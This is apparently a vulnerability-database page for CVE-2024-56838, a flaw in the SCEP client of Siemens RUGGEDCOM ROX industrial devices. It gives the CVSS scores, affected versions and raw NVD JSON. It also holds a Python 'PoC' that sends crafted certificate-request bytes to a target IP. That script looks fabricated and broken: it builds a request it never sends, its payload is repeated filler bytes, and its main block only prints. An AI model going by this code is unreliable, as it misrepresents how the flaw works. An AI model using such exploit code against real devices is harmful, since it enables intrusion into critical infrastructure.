Security Vulnerability Report
中文
CVE-2024-56838 CVSS 7.2 HIGH

CVE-2024-56838

Published: 2025-12-09 16:17:29
Last Modified: 2026-01-13 10:15:57

Description

A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). The SCEP client available in the affected device for secure certificate enrollment lacks validation of multiple fields. An attacker could leverage this scenario to execute arbitrary code as root user.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE
RUGGEDCOM ROX MX5000 < V2.17.0
RUGGEDCOM ROX MX5000RE < V2.17.0
RUGGEDCOM ROX RX1400 < V2.17.0
RUGGEDCOM ROX RX1500 < V2.17.0
RUGGEDCOM ROX RX1501 < V2.17.0
RUGGEDCOM ROX RX1510 < V2.17.0
RUGGEDCOM ROX RX1511 < V2.17.0
RUGGEDCOM ROX RX1512 < V2.17.0
RUGGEDCOM ROX RX1524 < V2.17.0
RUGGEDCOM ROX RX1536 < V2.17.0
RUGGEDCOM ROX RX5000 < V2.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2024-56838 PoC - Siemens RUGGEDCOM ROX SCEP Client Validation Bypass Note: This is a conceptual demonstration for authorized security testing only """ import struct import hashlib def create_malicious_scep_request(): """ Create a malicious SCEP request targeting the validation bypass """ # SCEP message type: PKCSReq (19) msg_type = 19 # Craft malicious certificate request with invalid fields # that bypass validation in vulnerable versions malicious_payload = b'\x30\x82' # Target: SCEP client on RUGGEDCOM ROX devices # Attack vector: Malformed field injection in PKCS#10 request scep_request = { 'transaction_id': 'MALICIOUS_TXN_' + 'A' * 100, 'message_type': msg_type, 'pki_status': 0, 'fail_info': 0, 'sender_nonce': b'\x00' * 16, 'receiver_nonce': b'\x00' * 16, 'cert_req': create_malformed_cert_request() } return scep_request def create_malformed_cert_request(): """ Create a PKCS#10 certificate request with fields that bypass validation """ # Malformed subject field that triggers the vulnerability subject = b'CN=' + b'\x00' * 50 + b'injected_payload' # Craft the request structure cert_request = bytearray() # Add malicious extensions that bypass validation for i in range(20): cert_request.extend(b'\x30\x82\x01\x01') return bytes(cert_request) def send_scep_request(target_ip, target_port=443): """ Send the malicious SCEP request to target device """ import socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send malicious SCEP message payload = create_malformed_cert_request() sock.send(payload) response = sock.recv(4096) sock.close() return response except Exception as e: return f"Error: {e}" if __name__ == '__main__': print("CVE-2024-56838 PoC - For authorized testing only") print("Target: Siemens RUGGEDCOM ROX SCEP Client") print("Vulnerability: Field validation bypass leading to RCE as root")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-56838", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:29.120", "lastModified": "2026-01-13T10:15:57.100", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). The SCEP client available in the affected device for secure certificate enrollment lacks validation of multiple fields. An attacker could leverage this scenario to execute arbitrary code as root user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "FA424C03-CB17-4397-A09E-E02A78F8176C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "1EA04F52-40D0-4A4B-9767-265A26EFD98D"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-912274.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}